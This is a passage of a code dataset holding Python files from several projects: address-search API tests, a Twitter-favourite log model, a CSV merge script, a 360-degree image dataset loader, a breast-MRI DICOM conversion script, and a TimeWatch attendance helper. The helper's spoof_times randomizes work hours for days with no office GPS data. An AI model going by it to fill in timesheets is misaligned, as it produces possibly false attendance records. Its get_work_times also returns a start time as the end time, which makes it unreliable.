setUp(self):\n self.endpoint = '/api/direcciones'\n self.entity = 'direcciones'\n super().setUp()\n\n def test_basic_fields_set(self):\n \"\"\"Se deber\u00eda poder especificar un conjunto de par\u00e1metros\n preseleccionados llamado 'basico'.\"\"\"\n self.assert_basic_fields_set(COMMON_ISCT)\n\n def test_standard_fields_set(self):\n \"\"\"Se deber\u00eda poder especificar un conjunto de par\u00e1metros\n preseleccionados llamado 'estandar'.\"\"\"\n self.assert_standard_fields_set(COMMON_ISCT)\n\n def test_complete_fields_set(self):\n \"\"\"Se deber\u00eda poder especificar un conjunto de par\u00e1metros\n preseleccionados llamado 'completo'.\"\"\"\n self.assert_complete_fields_set(COMMON_ISCT)\n\n def test_basic_intersection_search(self):\n \"\"\"La b\u00fasqueda de direcciones de tipo intersecci\u00f3n deber\u00eda devolver\n resultados con dos IDs cada uno, uno para cada calle, en el orden\n apropiado.\"\"\"\n self.assert_intersection_search_ids_matches(\n 'Av. San Juan y Piedras',\n [\n ('0200701001725', '0200701009350')\n ])\n\n def test_basic_intersection_search_reversed(self):\n \"\"\"La b\u00fasqueda de direcciones de tipo intersecci\u00f3n deber\u00eda devolver\n resultados con dos IDs cada uno, uno para cada calle, en el orden\n apropiado.\"\"\"\n self.assert_intersection_search_ids_matches(\n 'Piedras y Av. San Juan',\n [\n ('0200701009350', '0200701001725')\n ])\n\n def test_intersection_search_keywords(self):\n \"\"\"La b\u00fasqueda de direcciones de tipo intersecci\u00f3n deber\u00eda reconocer\n palabras clave como 'esquina', 'esq.', 'y', 'e', etc.\"\"\"\n self.assert_intersection_search_ids_matches(\n 'Larrea esquina Sarmiento', # al 3500?\n [\n ('0202101007345', '0202101010480')\n ],\n params={\n 'provincia': '02'\n }\n )\n\n def test_intersection_location_with_door_num(self):\n \"\"\"Si se especifica una intersecci\u00f3n con altura, se deber\u00eda utilizar\n la posici\u00f3n de la altura sobre la primera calle como posici\u00f3n final.\"\"\"\n resp_simple = self.get_response({'direccion': 'Cerro Beldevere 501'})\n loc_simple = resp_simple[0]['ubicacion']\n\n resp_isct = self.get_response({\n 'direccion': 'Cerro Beldevere 501 y El Calafate'\n })\n loc_isct = resp_isct[0]['ubicacion']\n\n self.assertAlmostEqual(loc_simple['lat'], loc_isct['lat'])\n self.assertAlmostEqual(loc_simple['lon'], loc_isct['lon'])\n\n def test_intersection_location_no_door_num(self):\n \"\"\"Si no se especifica una altura en una intersecci\u00f3n, se deber\u00eda\n utilizar la posici\u00f3n de la intersecci\u00f3n como campo 'ubicacion'.\"\"\"\n resp = self.get_response({\n 'direccion': 'Maip\u00fa esquina Mendoza',\n 'departamento': 'Rosario'\n })\n loc = resp[0]['ubicacion']\n\n point_isct = Point.from_json_location(loc)\n point_target = Point(-60.636548, -32.952020)\n error_m = point_isct.approximate_distance_meters(point_target)\n self.assertTrue(error_m < 15, error_m)\n\n def test_intersection_nonexistent_door_num(self):\n \"\"\"Si se especifica una intersecci\u00f3n con altura, la posici\u00f3n de la\n altura sobre la primera calle deber\u00eda estar a menos de\n ISCT_DOOR_NUM_TOLERANCE_M metros de la posici\u00f3n de la intersecci\u00f3n.\n Solo se retornan casos donde se cumpla esa condidici\u00f3n.\"\"\"\n resp_simple = self.get_response({\n 'direccion': 'Cabrera 1000',\n 'departamento': 'Rio Cuarto'\n })\n\n resp_isct = self.get_response({\n 'direccion': 'Cabrera 1000 y De\u00e1n Funes',\n 'departamento': 'Rio Cuarto'\n })\n\n self.assertTrue(resp_simple and not resp_isct)\n\n def test_intersection_position(self):\n \"\"\"La posici\u00f3n de una intersecci\u00f3n deber\u00eda estar cerca a la posici\u00f3n de\n una altura sobre la primera calle cerca de la esquina.\"\"\"\n resp_simple = self.get_response({\n 'direccion': 'Dr. Adolfo Guemes al 600',\n 'departamento': '66028'\n })\n\n resp_isct = self.get_response({\n 'direccion': 'Dr. Adolfo esq. Rivadavia',\n 'departamento': '66028'\n })\n\n point_simple = Point.from_json_location(resp_simple[0]['ubicacion'])\n point_isct = Point.from_json_location(resp_isct[0]['ubicacion'])\n\n self.assertLess(\n point_simple.approximate_distance_meters(point_isct),\n 30 # metros\n )\n\n def test_invalid_intersection_a(self):\n \"\"\"Una b\u00fasqueda de intersecciones con la primera calle inexistente\n deber\u00eda traer 0 resultados.\"\"\"\n self.assert_intersection_search_ids_matches('FoobarFoobar y Tucum\u00e1n',\n [])\n\n def test_invalid_intersection_b(self):\n \"\"\"Una b\u00fasqueda de intersecciones con la segunda calle inexistente\n deber\u00eda traer 0 resultados.\"\"\"\n self.assert_intersection_search_ids_matches('Tucum\u00e1n y FoobarFoobar',\n [])\n\n def test_invalid_intersection_both(self):\n \"\"\"Una b\u00fasqueda de intersecciones con ambas calles inexistentes deber\u00eda\n traer 0 resultados.\"\"\"\n self.assert_intersection_search_ids_matches('QuuzQuux y FoobarFoobar',\n [])\n\n def test_name_ordering(self):\n \"\"\"Los resultados deben poder ser ordenados por nombre.\"\"\"\n resp = self.get_response({\n 'direccion': 'santa fe y salta',\n 'orden': 'nombre',\n 'max': 1000\n })\n\n ordered = [r['calle']['nombre'] for r in resp]\n expected = sorted(ordered, key=asciifold)\n self.assertListEqual(ordered, expected)\n\n def test_id_ordering(self):\n \"\"\"Los resultados deben poder ser ordenados por ID.\"\"\"\n resp = self.get_response({\n 'direccion': 'santa fe y salta',\n 'orden': 'id',\n 'max': 1000\n })\n\n ordered = [r['calle']['id'] for r in resp]\n expected = sorted(ordered)\n self.assertListEqual(ordered, expected)\n\n def assert_intersection_search_ids_matches(self, address, ids,\n params=None):\n if not params:\n params = {}\n\n params['direccion'] = address\n resp = self.get_response(params)\n resp_ids = []\n\n for address_hit in resp:\n resp_ids.append((address_hit['calle']['id'],\n address_hit['calle_cruce_1']['id']))\n\n self.assertListEqual(sorted(ids), sorted(resp_ids))\n", "source": "BetssonGroup/georef-ar-api", "license": "MIT"} {"text": "\nfrom .jaccard import db_eval_iou\n# from .t_stability import db_eval_t_stab // tstab does not work\nfrom .f_boundary import db_eval_boundary\n\n", "source": "flyingleafe/davis", "license": "BSD-3-Clause"} {"text": "# -*- coding: utf-8 -*-\n# vim: ts=4 sw=4 sts=4 ff=unix ft=python expandtab\n\nimport datetime\nfrom peewee import *\n\nfavwatch_log = Proxy()\n\n\nclass BaseModel(Model):\n class Meta:\n database = favwatch_log\n\n\nclass FavLog(BaseModel):\n fav_by_screen_name = TextField(null=False)\n fav_rough_seen = DateTimeField(default=datetime.datetime.now)\n\n screen_name = TextField(null=True)\n name = TextField(null=True)\n id_str = TextField(null=False, index=True)\n text = TextField(null=True)\n fav_created_at = DateTimeField(null=True)\n\n class Meta:\n db_table = 'log'\n indexes = (\n (('fav_by_screen_name', 'id_str'), False),\n )\n", "source": "tinbotu/favwatch", "license": "MIT"} {"text": "\"\"\" Usage:\n merge_pandas_conll --out=OUTPUT_FN ...\n\nMerge a list of data frames in csv format and print to output file.\n\"\"\"\nfrom docopt import docopt\nimport pandas as pd\nimport logging\nlogging.basicConfig(level = logging.DEBUG)\n\nif __name__ == \"__main__\":\n args = docopt(__doc__)\n logging.debug(args)\n input_fns = args[\"\"]\n out_fn = args[\"--out\"]\n pd.concat([pd.read_csv(fn,\n sep = '\\t',\n header = 0)\n for fn in input_fns]).to_csv(out_fn,\n sep = '\\t',\n header = True,\n index = False)\n", "source": "acoli-repo/OpenIE_Stanovsky_Dagan", "license": "MIT"} {"text": "\"\"\"\nThis module abstract a single work date and deals with all the aspects of extracting data\nand meta data about and from this specific date: gps data, determining if work day, holiday etc.\n\"\"\"\n\nimport os\nimport datetime as dt\nimport platform\nfrom random import randint\nfrom math import isclose\nimport subprocess\nimport time\nfrom fastkml import kml\nimport calendar\nimport re\n\nimport twlog\n\nlogger = twlog.TimeWatchLogger()\n\n\nclass WorkDate:\n\n def __init__(self, date, download_dir, work_location):\n self._date = date\n self.mode = ''\n self.excuse = None\n self.work_day_times = {}\n self._download_dir = download_dir\n self._work_location = work_location\n logger.debug('Initialized date %s', date.strftime('%Y-%m-%d'))\n\n def query_work_date(self, work_day, weekend):\n \"\"\"\n Checks whether current date has gps data or not.\n Downloads a kml file from google timeline.\n mode is set to 'gps' if the kml file indicated that were at work at current date.\n Otherwise `mode` will be 'non-gps'.\n In case the day a weekend, mode will be set to 'weekend'\n :param dict work_day: workday configuration from the JSON parameters file\n :param list weekend: list of the names of the days in the weekend\n :return:\n \"\"\"\n if self.is_work_day(weekend):\n logger.debug('Data %s is a work day', self._date.strftime('%Y-%m-%d'))\n self.mode = 'non_gps'\n if self._work_location is not None:\n with KMLFile(file_date=self._date, download_dir=self._download_dir) as f:\n kml_data = f.read()\n k = KMLData(kml_data=kml_data)\n if k.is_at_work(work_location=self._work_location):\n self.mode = 'gps'\n if self.mode == 'gps':\n logger.debug('Date %s has valid gps data - work from office', self._date.strftime('%Y-%m-%d'))\n return k.get_work_times(work_location=self._work_location)\n elif self.mode == 'non_gps':\n logger.debug('Date %s has no valid gps data - not in office', self._date.strftime('%Y-%m-%d'))\n if work_day['randomize']:\n return self.spoof_times(work_day=work_day)\n else:\n return self.fixed_times(work_day=work_day)\n else:\n self.mode = 'weekend'\n\n def is_work_day(self, weekend):\n \"\"\"\n Check is current date is a weekday based on provided data in the parameters file.\n :param list weekend: Names of the weekend days\n :return: bool. True if current date is part of :param: weekend.\n \"\"\"\n return not self._date.weekday() in [ii for ii, x in enumerate(list(calendar.day_name)) if x in weekend]\n\n def spoof_times(self, work_day: dict) -> dict:\n \"\"\"\n Randomizes start and end times in the day.\n Randomization is based on [work][work_day] parameters.\n\n Randomize starting from the minimal start time with 0-2 hours.\n Randomize end such that work day won't be longer than max length day [hours] or shorter than nominal-1 [hours]\n or that is won't end past maximal end time, as provided in the parameters file.\n\n :param dict work_day: the parsed input from JSON parameters file section [work][work_day]\n :return: dict with start datetime object and end datetime object representing the start/end of workday\n \"\"\"\n ptn = r'(?P\\d+)\\:(?P\\d+)'\n match_min = re.search(pattern=ptn, string=work_day['minimal_start_time'])\n match_max = re.search(pattern=ptn, string=work_day['maximal_end_time'])\n start_time = dt.datetime(\n year=self._date.year, month=self._date.month, day=self._date.day,\n hour=int(match_min.group('hour')) + randint(0, 2),\n minute=int(randint(0, 59)))\n end_time = start_time\n delta = end_time - start_time\n while delta.seconds // 3600 > work_day['max_length'] or \\\n delta.seconds // 3600 < work_day['nominal_length'] - 1 or \\\n end_time.hour > int(match_max.group('hour')):\n end_time = dt.datetime(\n year=self._date.year, month=self._date.month, day=self._date.day,\n hour=start_time.hour + work_day['nominal_length'] + randint(-1, 1),\n minute=int(randint(0, 59)))\n delta = end_time - start_time\n\n return {'start': start_time, 'end': end_time}\n\n def fixed_times(self, work_day: dict) -> dict:\n \"\"\"\n Generate start and end dates according to the provided parameters.\n Start time is set to the minimal_start_time value, and\n end time is set to the maximal_start_time value.\n\n :param dict work_day: the parsed input from JSON parameters file section [work][work_day]\n :return: dict with start datetime object and end datetime object representing the start/end of workday\n \"\"\"\n ptn = r'(?P\\d+)\\:(?P\\d+)'\n match_min = re.search(pattern=ptn, string=work_day['minimal_start_time'])\n match_max = re.search(pattern=ptn, string=work_day['maximal_end_time'])\n start_time = dt.datetime(\n year=self._date.year, month=self._date.month, day=self._date.day,\n hour=int(match_min.group('hour')),\n minute=int(match_min.group('minute')))\n end_time = dt.datetime(\n year=self._date.year, month=self._date.month, day=self._date.day,\n hour=int(match_max.group('hour')),\n minute=int(match_max.group('minute')))\n\n return {'start': start_time, 'end': end_time}\n\nclass KMLFile:\n \"\"\"\n Represents the KML file itself.\n Encapsulate file operations on KML file\n \"\"\"\n\n def __init__(self, file_date, download_dir):\n self.file_date = file_date\n self._file_dir = download_dir\n self._download_process = None\n\n def __enter__(self):\n self._download_file()\n return self\n\n def __exit__(self, *exception):\n try:\n os.remove(self._generate_file_name())\n logger.debug('file %s was removed', self._generate_file_name())\n except PermissionError:\n logger.debug('unable to remove file %s',\n self._generate_file_name())\n logger.debug('attempt to close download file browser window')\n self._download_process.kill()\n\n def read(self):\n \"\"\"\n read kml data from the saved file into a raw string\n :return:\n \"\"\"\n with open(file=self._generate_file_name(), mode='rb') as f:\n return f.read()\n\n def _generate_file_name(self):\n \"\"\"\n Generate file name for the downloaded kml file.\n\n :return str: full path to file name with .kml extension\n \"\"\"\n return os.path.join(\n self._file_dir, 'history-' + dt.datetime.strftime(self.file_date, '%Y-%m-%d') + '.kml')\n\n def _generate_timeline_url(self):\n \"\"\"\n Generates url to download kml file from google based on required date.\n\n :return str: kml download link for class instance date\n \"\"\"\n\n base_url = r'https://www.google.com/maps/timeline/kml?authuser=0&pb=!1m8!1m3!1'\n start_date_str = ('i' + str(self.file_date.year)\n + '!2i' + str(self.file_date.month - 1)\n + '!3i' + str(self.file_date.day))\n end_date_str = start_date_str\n\n out = base_url + start_date_str + '!2m3!1' + end_date_str\n logger.debug('Google Timeline download link is %s', out)\n return out\n\n def _download_file(self):\n logger.debug('Start download of kml file')\n if platform.system() == 'Linux':\n self._download_process = subprocess.Popen(args=('google-chrome', self._generate_timeline_url()),\n stdout=subprocess.PIPE,\n stdin=subprocess.PIPE,\n stderr=subprocess.PIPE)\n elif platform.system() == 'Windows':\n chrome_path = \"C:\\\\Program Files (x86)\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe\"\n self._download_process = subprocess.Popen(args=(chrome_path, self._generate_timeline_url()),\n stdout=subprocess.PIPE,\n stdin=subprocess.PIPE,\n stderr=subprocess.PIPE)\n else:\n raise ValueError(f'{platform.system()} is not a supported os')\n\n file_name = self._generate_file_name()\n\n counter = 0\n max_cycles = 1000\n sleep_time = 0.5 # seconds\n while not os.path.exists(file_name):\n if counter > max_cycles:\n raise RuntimeError(\n 'more that {} seconds waiting for file to be download - stopping'.format(\n str(sleep_time * max_cycles)))\n else:\n time.sleep(sleep_time)\n counter += 1\n\n else:\n logger.debug('Finished kml file download: %s', file_name)\n\n\nclass KMLData:\n \"\"\"\n Accepts download date in the ``DD-mm-YYYY`` format\n and generates kml from google for the date given.\n \"\"\"\n\n kml_data = ''\n download_date = ''\n _driver = ''\n\n def __init__(self, kml_data):\n self.kml_data = kml.KML()\n self.kml_data.from_string(kml_data)\n self.work_date_times = {'start': {'hour': None, 'minute': None}, 'end': {'hour': None, 'minute': None}}\n self.work_location_tolerance = 3\n\n def is_at_work(self, work_location):\n try:\n work_times = self.get_work_times(work_location=work_location)\n return bool(work_times)\n except ValueError:\n return False\n\n def _gen_placemarks(self):\n try:\n for p in self.kml_data._features[0]._features:\n yield {'t': p._time_span, 'coords': p._geometry.geometry.coords}\n except IndexError:\n return\n\n def get_work_times(self, work_location):\n \"\"\"\n Parses all the placemarks in the kml data and extract coordinates of each mark.\n Coordinates are measured for distance from work location (provided :param:)\n Each placemark that is deemed to be close enough to the work location is measured for\n time at arrival and departure.\n The largest difference (first arrival and last departure) are returned as total time spent at work.\n\n :param dict work_location: lat and long work location - from JSON paramters\n\n :returns: dict minimal start time and maximal end time\n \"\"\"\n start_times = list()\n end_times = list()\n for p in self._gen_placemarks():\n if is_within_distance(work_location, p['coords'][0], self.work_location_tolerance):\n start_times.append(p['t'].begin[0].astimezone())\n end_times.append(p['t'].end[0].astimezone())\n try:\n return {'start': min(start_times), 'end': max(start_times)}\n except ValueError:\n return None\n\n\ndef date_list(start_date, end_date):\n \"\"\"\n generator of dates in sequence between two given dates.\\n\n yields dates in the sequence for iteration only if they are work days.\n\n :yields: date for upadte\n \"\"\"\n delta = end_date - start_date\n for d in range(delta.days + 1):\n tmp_date = start_date + dt.timedelta(days=d)\n yield tmp_date\n\n\ndef is_within_distance(work_location, coordinates, tolerance):\n \"\"\"\n Checks if coordinates provided are withhin a tolerance of the work location.\n\n :param lst coordinates: list of coordinates: lat, long, elevation in Decimal degrees notation\n :param int tolerance: multiplier to determine final search radius around coordinates\n :param dict work_location: lat and long of work location\n :return: True if provided coordinates are within tolerance of work coordinates\n \"\"\"\n\n # round to 3 decimal places - gives a ~100 meters precision\n # assumes to be neighborhood or street\n # https://en.wikipedia.org/wiki/Decimal_degrees\n precision = pow(10, -3)\n\n is_close_long = isclose(coordinates[0], round(float(work_location['long']), 5), abs_tol=tolerance * precision)\n is_close_lat = isclose(coordinates[1], round(float(work_location['lat']), 5), abs_tol=tolerance * precision)\n\n return is_close_lat and is_close_long\n", "source": "bouncingjack/twu", "license": "Apache-2.0"} {"text": "import os\nimport torch\nimport numpy as np\nimport cv2\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms, utils\nimport torch.nn.functional as F\nimport PIL.Image as Image\nimport random\n\n\nclass Dataset360N(Dataset):\n def __init__(self, filenames_filepath, delimiter, input_shape):\n self.length = 0\n self.height = input_shape[0]\n self.width = input_shape[1]\n self.filenames_filepath = filenames_filepath\n self.delim = delimiter\n self.data_paths = {}\n self.init_data_dict()\n self.gather_filepaths()\n\n def init_data_dict(self):\n self.data_paths = {\n \"rgb\": [],\n \"surface\": []\n }\n \n def gather_filepaths(self):\n fd = open(self.filenames_filepath, 'r')\n lines = fd.readlines()\n for line in lines:\n splits = line.split(self.delim)\n self.data_paths[\"rgb\"].append(splits[0])\n # TODO: check for filenames files format\n self.data_paths[\"surface\"].append(splits[6])\n fd.close()\n assert len(self.data_paths[\"rgb\"]) == len(self.data_paths[\"surface\"])\n self.length = len(self.data_paths[\"rgb\"])\n\n def load_rgb(self, filepath):\n if not os.path.exists(filepath):\n print(\"\\tGiven filepath <{}> does not exist\".format(filepath))\n return np.zeros((self.height, self.width, 3), dtype = np.float32)\n rgb_np = cv2.imread(filepath, cv2.IMREAD_ANYCOLOR)\n return rgb_np\n\n def load_float(self, filepath):\n if not os.path.exists(filepath):\n print(\"\\tGiven filepath <{}> does not exist\".format(filepath))\n return np.zeros((self.height, self.width, 3), dtype = np.float32)\n surface_np = cv2.imread(filepath, cv2.IMREAD_UNCHANGED)\n # Creates mask for invalid values\n surface_np[np.isnan(surface_np)] = 0.0\n mask_np = np.ones_like(surface_np)\n mask_np[np.sum(surface_np, 2) == 0.0] = 0.0\n return surface_np, mask_np\n\n def clean_normal(self, normal):\n # check if normals are close to the dominant\n # coord system normals\n shape = normal.shape\n vecs = [\n [1, 0, 0],\n [0, 1, 0],\n [0, 0 ,1],\n [-1, 0, 0],\n [0, -1, 0],\n [0, 0, -1]\n ]\n for vec in vecs:\n vec_mat = np.asarray(vec, dtype = np.float32)\n vec_mat = np.expand_dims(vec_mat, 0)\n vec_mat = np.expand_dims(vec_mat, 1)\n vec_mat = vec_mat.repeat(shape[0], 0)\n vec_mat = vec_mat.repeat(shape[1], 1)\n inds = np.isclose(normal, vec_mat, 0.0001, 0.1)\n inds = inds[:, :, 0] & inds[:, :, 1] & inds[:, :, 2]\n normal[inds, 0] = vec[0]\n normal[inds, 1] = vec[1]\n normal[inds, 2] = vec[2]\n return normal\n\n def make_tensor(self, np_array):\n np_array = np_array.transpose(2, 0, 1)\n tensor = torch.from_numpy(np_array)\n return torch.as_tensor(tensor, dtype = torch.float32)\n\n def load_item(self, idx):\n item = { }\n if (idx >= self.length):\n print(\"Index out of range.\")\n else:\n rgb_np = self.load_rgb(self.data_paths[\"rgb\"][idx])\n surface_np, mask_np = self.load_float(self.data_paths[\"surface\"][idx])\n surface_np = self.clean_normal(surface_np)\n rgb = self.make_tensor(rgb_np)\n surface = self.make_tensor(surface_np)\n surface = F.normalize(surface, p = 2, dim = 1)\n mask = self.make_tensor(mask_np)\n item['input_rgb'] = rgb\n item['target_surface'] = surface\n item['mask'] = mask\n item['filename'] = os.path.basename(self.data_paths[\"surface\"][idx])\n return item\n \n def __len__(self):\n return self.length\n \n def __getitem__(self, idx):\n return self.load_item(idx)", "source": "VCL3D/HyperSphereSurfaceRegression", "license": "BSD-2-Clause"} {"text": "'''\n @ Date: 2022/3/23 19:05\n @ Author: Zhao YaChen\n'''\nimport dicom2nifti\nimport pydicom as dicom\nimport nibabel as nib\nimport numpy as np\nfrom io import BytesIO\nfrom pydicom import read_file\nimport os\nimport re\nimport shutil\nimport pandas as pd\nimport SimpleITK as sitk\nimport h5py\nimport scipy.ndimage as ndimage\n\nfrom nipype.interfaces.ants import N4BiasFieldCorrection\n\nimport radiomics.featureextractor as FEE\nfrom radiomics.imageoperations import getWaveletImage, getLoGImage\nfrom radiomics.firstorder import RadiomicsFirstOrder\nfrom dicom2nifti.exceptions import ConversionError\n'''\n \u6587\u4ef6\u8def\u5f84\u5b9a\u4e49\n'''\ndefault_prefix = 'D:/Desktop/BREAST/BREAST/'\nname_mapping_path = default_prefix + 'breast-dataset-training-validation/Breast_meta_data/breast_name_mapping.csv'\ndefault_directory = 'F:/breastMR_202003_sort'\nfune_directory = 'F:/breast_dataset_patient'\noutput_label_info = 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_meta_data/output_label_info.csv'\n\nroot_path = 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_TrainingData'\n\n'''\n \u5f97\u5230\u6587\u4ef6\u5939\u5185\u5404\u4e2a\u6587\u4ef6\u540d\u79f0\n'''\ndef get_file_list_by_time(file_path):\n dir_list = os.listdir(file_path)\n if not dir_list:\n return\n else:\n # \u6ce8\u610f\uff0c\u8fd9\u91cc\u4f7f\u7528lambda\u8868\u8fbe\u5f0f\uff0c\u5c06\u6587\u4ef6\u6309\u7167\u6700\u540e\u4fee\u6539\u65f6\u95f4\u987a\u5e8f\u5347\u5e8f\u6392\u5217\n # os.path.getmtime() \u51fd\u6570\u662f\u83b7\u53d6\u6587\u4ef6\u6700\u540e\u4fee\u6539\u65f6\u95f4\n # os.path.getctime() \u51fd\u6570\u662f\u83b7\u53d6\u6587\u4ef6\u6700\u540e\u521b\u5efa\u65f6\u95f4\n dir_list = sorted(dir_list,key=lambda x: os.path.getctime(os.path.join(file_path, x)))\n print(dir_list)\n return dir_list\n\ndef sort_key(s):\n # \u6392\u5e8f\u5173\u952e\u5b57\u5339\u914d\n # \u5339\u914d\u5f00\u5934\u6570\u5b57\u5e8f\u53f7\n if s:\n try:\n c = re.findall('^\\d+', s)[0]\n except:\n c = -1\n return int(c)\n\n# \u7528\u4e8e\u751f\u6210\u7f57\u5217\u6570\u636e\u96c6\u7684\u6bcf\u4e2a\u75c5\u4eba\u7684\u540d\u79f0\ndef get_file_list_by_name(file_path):\n dir_list = os.listdir(file_path)\n if not dir_list:\n return\n else:\n # dir_list = sorted(os.listdir(file_path)) # \u6587\u4ef6\u540d\u6309\u5b57\u6bcd\u6392\u5e8f\n dir_list = os.listdir(file_path)\n print(dir_list)\n dir_list.sort(key=sort_key)\n print(dir_list)\n return dir_list\n\n\n'''\n \u5c06.dcm\u683c\u5f0f\u5e8f\u5217\u56fe\u50cf\u8f6c\u5316\u4e3a.nii\u683c\u5f0f\n'''\ndef addFileMetaInfo(file_path, new_floder, new_name):\n # bytestream = b'\\x02\\x00\\x02\\x00\\x55\\x49\\x16\\x00\\x31\\x2e\\x32\\x2e\\x38\\x34\\x30\\x2e\\x31' \\\n # b'\\x30\\x30\\x30\\x38\\x2e\\x35\\x2e\\x31\\x2e\\x31\\x2e\\x39\\x00\\x02\\x00\\x10\\x00' \\\n # b'\\x55\\x49\\x12\\x00\\x31\\x2e\\x32\\x2e\\x38\\x34\\x30\\x2e\\x31\\x30\\x30\\x30\\x38' \\\n # b'\\x2e\\x31\\x2e\\x32\\x00\\x20\\x20\\x10\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x20\\x20' \\\n # b'\\x20\\x00\\x06\\x00\\x00\\x00\\x4e\\x4f\\x52\\x4d\\x41\\x4c'\n #\n # fp = BytesIO(bytestream)\n # ds = read_file(fp, force=True)\n # print(ds)\n\n # Manually add the preamble\n fp = BytesIO()\n fp.write(b'\\x00' * 128)\n fp.write(b'DICM')\n\n # Add the contents of the file\n f = open(file_path, 'rb')\n fp.write(f.read())\n f.close()\n fp.seek(0)\n\n # Read the dataset\n ds = read_file(fp)\n # print(ds)\n if not os.path.exists(new_floder):\n os.makedirs(new_floder)\n ds.save_as(os.path.join(new_floder, new_name))\n\n# \u9ed8\u8ba4\u53c2\u6570\u964d\u4f4e\u8c03\u7528\u51fd\u6570\u7684\u96be\u5ea6\ndef addFloderMetaInfo(old_folder, new_folder, new_name=\"\"):\n # \u5f97\u5230\u65e7\u6587\u4ef6\u5939\u7684\u6bcf\u4e2a\u6587\u4ef6\n # \u6309\u7167\u5b57\u6bcd\u6392\u5e8f\u5f97\u5230\u6307\u5b9a\u6587\u4ef6\u5939\u4e0b\u5305\u542b\u6587\u4ef6\u7684\u540d\u5b57\u7684\u5217\u8868\n dcm_file_list = listDir(old_folder)\n print(dcm_file_list)\n print(dcm_file_list.__len__())\n # \u904d\u5386list\n for x in dcm_file_list:\n addFileMetaInfo(os.path.join(old_folder, x), new_folder, x)\n return dcm_file_list.__len__()\n\n\ndef listDir(folder_path):\n # \u53ea\u4fdd\u7559\u4ee5dicom\u7ed3\u5c3e\u7684\u6587\u4ef6\n # return os.listdir(folder_path)\n return list(filter(lambda f: str(f).endswith('dcm'), os.listdir(folder_path)))\n\n#.dicom\u8f6c\u6362\u4e3a.nii\ndef dicom2nii(original_dicom_directory: str, output_file: str):\n dicom2nifti.dicom_series_to_nifti(original_dicom_directory, output_file, reorient_nifti=False)\n\ndef dicom2nii2(original_dicom_directory: str, output_file: str):\n reader = sitk.ImageSeriesReader()\n dicom_names = reader.GetGDCMSeriesFileNames(original_dicom_directory)\n reader.SetFileNames(dicom_names)\n image2 = reader.Execute()\n image_array = sitk.GetArrayFromImage(image2) # z, y, x\n origin = image2.GetOrigin() # x, y, z\n spacing = image2.GetSpacing() # x, y, z\n # image3=sitk.GetImageFromArray(image3)##\u5176\u4ed6\u4e09\u7ef4\u6570\u636e\u4fee\u6539\u539f\u672c\u7684\u6570\u636e\uff0c\n sitk.WriteImage(image2,output_file) #\u8fd9\u91cc\u53ef\u4ee5\u76f4\u63a5\u6362\u6210image2 \u8fd9\u6837\u5c31\u4fdd\u5b58\u4e86\u539f\u6765\u7684\u6570\u636e\u6210\u4e86nii\u683c\u5f0f\u4e86\u3002\n\ndef breast_dicom2nii():\n # \u4f7f\u7528df\u8bfb\u53d6Breast_MR_list.xlsx\u6587\u4ef6\n pCR_info_df = pd.read_csv(\n 'D:/Desktop/BREAST/BREAST/breast-dataset-training-validation/Breast_meta_data/Breast_MR_list_update.csv')\n dir_list = pCR_info_df[\"\u5f71\u50cf\u53f7\"].astype(str) + \" \" +pCR_info_df['\u75c5\u4eba\u59d3\u540d'].astype(str)\n mass_labe_name_list = pCR_info_df['label\u540d\u79f0']\n slice = 0\n # isAddMetaInfo = False\n # isAddMetaInfo = True\n isCopyLabelFile = True\n\n for number in range(253, 308):\n patient_name = dir_list.get(number)\n mass_labe_name = mass_labe_name_list.get(number)\n number = number + 1\n nii_directory = default_prefix + 'breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d' % number\n if not os.path.exists(nii_directory):\n os.makedirs(nii_directory)\n if isCopyLabelFile:\n label_nii_path = default_prefix + 'breast-dataset-training-validation/Breast_TrainingData/Breast_Training_%03d/Breast_Training_%03d_seg.nii' % (\n number, number)\n # \u9996\u5148\u5c06mass-label.nii\u590d\u5236\u5230\u76ee\u6807\u6587\u4ef6\u5939\u4e2d\n shutil.copyfile(os.path.join(default_directory, patient_name, mass_labe_name + \"-label.nii\"), label_nii_path)\n for j in range(1, 6):\n basic_ph_name_list = [\n # 'Ph%d_Dyn Ax Vibrant 5p' % j,\n 'Ph%d_dyn Ax Vibrant 5p' % j,\n 'ax VIBRANT-FLEX Ph%d' % j,\n 'Ph%d:Dyn Ax Vibrant 5p' % j,\n 'Ax VIBRANT-Flex Ph%d' % j,\n 'Dyn Ax Vibrant Ph%d' % j,\n '50%d-Ph%d/dyn Ax Vibrant 5p' % (j, j),\n '50%d-WATER_ Ph%d/Ax VIBRANT-Flex' % (j, j),\n '50%d-WATER_ Ph%d' % (j, j),\n '60%d-Ph%d/Sag Vibrant SinglePhase' % (j, j),\n '60%d-Ph%d/dyn Ax Vibrant 5p' % (j, j),\n '60%d-WATER_ Ph%d/Sag VIBRANT-Flex' % (j, j),\n '70%d-Ph%d/dyn Ax Vibrant 5p' % (j, j),\n '70%d-Ph%d/Sag Vibrant SinglePhase' % (j, j),\n 'WATER_ Ph%d_Ax VIBRANT-Flex' % j,\n ]\n for basic_ph_name in basic_ph_name_list:\n original_dicom_directory = os.path.join(default_directory, patient_name, basic_ph_name)\n if os.path.exists(original_dicom_directory):\n basic_ph_name1 = basic_ph_name\n break\n\n fune_dicom_directory = os.path.join(fune_directory, patient_name, 'ph%d' % j)\n final_directory = os.path.join(nii_directory, 'Breast_Training_%03d_ph%d.nii' % (number, j))\n try:\n isAddMetaInfo = True\n # original_dicom_directory->fune_dicom_directory\n slice = addFloderMetaInfo(original_dicom_directory, new_folder=fune_dicom_directory)\n # fune_dicom_directory->final_directory\n dicom2nii(fune_dicom_directory, final_directory)\n except (ConversionError, FileNotFoundError, ValueError):\n print(\"Oops! FileNotFoundError: [WinError 3] \u7cfb\u7edf\u627e\u4e0d\u5230\u6307\u5b9a\u7684\u8def\u5f84\u3002\")\n isAddMetaInfo = False\n slice = listDir(original_dicom_directory).__len__()\n dicom2nii(original_dicom_directory, final_directory)\n print(final_directory + ' Done!')\n # \u6bcf\u5904\u7406\u5b8c\u4e00\u4e2a\u75c5\u4eba\u7684\u75c5\u4f8b\u8fdb\u884ccsv\u8bb0\u5f55\n add_data = [{'Number': str(number),\n 'File_Path': basic_ph_name1,\n 'Patient_ID Patient_Name': patient_name,\n 'Breast_subject_ID': 'Breast_Training_%03d' % number,\n 'Slice': slice,\n 'remark': 